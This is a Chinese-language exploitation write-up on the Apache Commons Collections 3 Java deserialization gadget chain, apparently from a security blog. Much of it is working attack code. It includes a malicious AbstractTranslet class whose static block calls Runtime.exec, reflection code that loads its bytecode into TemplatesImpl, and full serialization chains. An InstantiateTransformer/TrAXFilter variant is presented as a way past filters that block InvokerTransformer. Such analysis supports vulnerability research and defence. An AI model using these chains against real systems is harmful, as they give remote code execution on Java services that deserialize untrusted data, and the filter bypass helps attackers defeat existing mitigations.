InvokerTransformer被ban后的另一种利用方法CC3
字数 1357 2025-08-25 22:58:35
Commons Collections 3 (CC3) 反序列化漏洞利用分析
概述
本文详细分析Apache Commons Collections 3 (CC3)反序列化漏洞的利用方法,重点介绍在InvokerTransformer被禁用情况下的替代利用方案。CC3通过动态类加载机制实现代码执行,与CC1和CC6通过Runtime.exec执行命令的方式不同。
核心原理
CC3利用的核心是Java的动态类加载机制,通过构造恶意类并利用TemplatesImpl类的特性,在类初始化时执行静态代码块或构造代码块中的恶意代码。
关键类分析
-
TemplatesImpl (
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl)- 可序列化类
- 包含动态加载类的功能
- 关键属性:
private String _name = null; private byte[][] _bytecodes = null; private transient TransformerFactoryImpl _tfactory = null; private Class[] _class = null;
-
TransletClassLoader
- 内部类,负责类加载
- 关键方法:
protected final Class<?> defineClass(String name, byte[] b, int off, int len)
利用链分析
基本调用链
TemplatesImpl.newTransformer()- 调用
getTransletInstance() - 调用
defineTransletClasses() - 调用
TransletClassLoader.defineClass() - 最终实例化恶意类
- 调用
关键步骤
-
恶意类构造
- 必须继承
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet - 在静态代码块中放置恶意代码
- 示例:
public class Calc extends AbstractTranslet { static { try { Runtime.getRuntime().exec("open -na Calculator"); } catch (IOException e) { throw new RuntimeException(e); } } // 必须实现抽象方法 @Override public void transform(DOM document, SerializationHandler[] handlers) {} @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {} }
- 必须继承
-
反射设置关键属性
- 设置
_name:任意非空字符串 - 设置
_bytecodes:包含编译后的恶意类字节码 - 设置
_tfactory:TransformerFactoryImpl实例
- 设置
-
触发执行
- 调用
newTransformer()方法触发整个链
- 调用
完整利用代码
直接反射方式
TemplatesImpl templatesimpl = new TemplatesImpl();
Class tmp = templatesimpl.getClass();
// 设置_name
Field nameField = tmp.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesimpl, "y1");
// 设置_bytecodes
Field bytecodesField = tmp.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/path/to/Calc.class"));
byte[][] codes = {code};
bytecodesField.set(templatesimpl, codes);
// 设置_tfactory
Field tfactoryfield = tmp.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templatesimpl, new TransformerFactoryImpl());
// 触发执行
templatesimpl.newTransformer();
结合ChainedTransformer的利用链
// 构造TemplatesImpl实例(同上)
// 构造Transformer链
ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(templatesimpl),
new InvokerTransformer("newTransformer", null, null)
});
// 构造TransformedMap
HashMap map = new HashMap();
map.put("value", "v");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, ctf);
// 构造AnnotationInvocationHandler
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, transformedMap);
// 序列化/反序列化触发
serialize(o);
unserialize("ser.bin");
替代方案:使用InstantiateTransformer
当InvokerTransformer被禁用时,可以使用InstantiateTransformer替代:
// 构造TemplatesImpl实例(同上)
// 使用InstantiateTransformer调用TrAXFilter构造函数
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesimpl}
);
// 构造Transformer链
ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
});
// 后续步骤与之前相同
关键注意事项
-
恶意类要求:
- 必须继承
AbstractTranslet - 必须实现所有抽象方法
- 静态代码块中的命令需适配目标操作系统
- 必须继承
-
属性设置:
_bytecodes必须是二维字节数组_tfactory虽然是transient属性,但在直接反射利用时仍需设置
-
包路径:
- 确保使用
com.sun.org.apache.xalan路径下的类,而非org.apache.xalan
- 确保使用
-
防御绕过:
- 当
InvokerTransformer被过滤时,InstantiateTransformer方案可作为替代
- 当
总结
CC3利用链通过动态类加载机制实现代码执行,相比直接调用Runtime.exec更加隐蔽。关键在于:
- 构造符合要求的恶意类
- 通过反射正确设置
TemplatesImpl的关键属性 - 选择合适的触发链(直接调用或通过
ChainedTransformer)
这种技术在InvokerTransformer被禁用时特别有用,为攻击者提供了更多绕过防御的选择。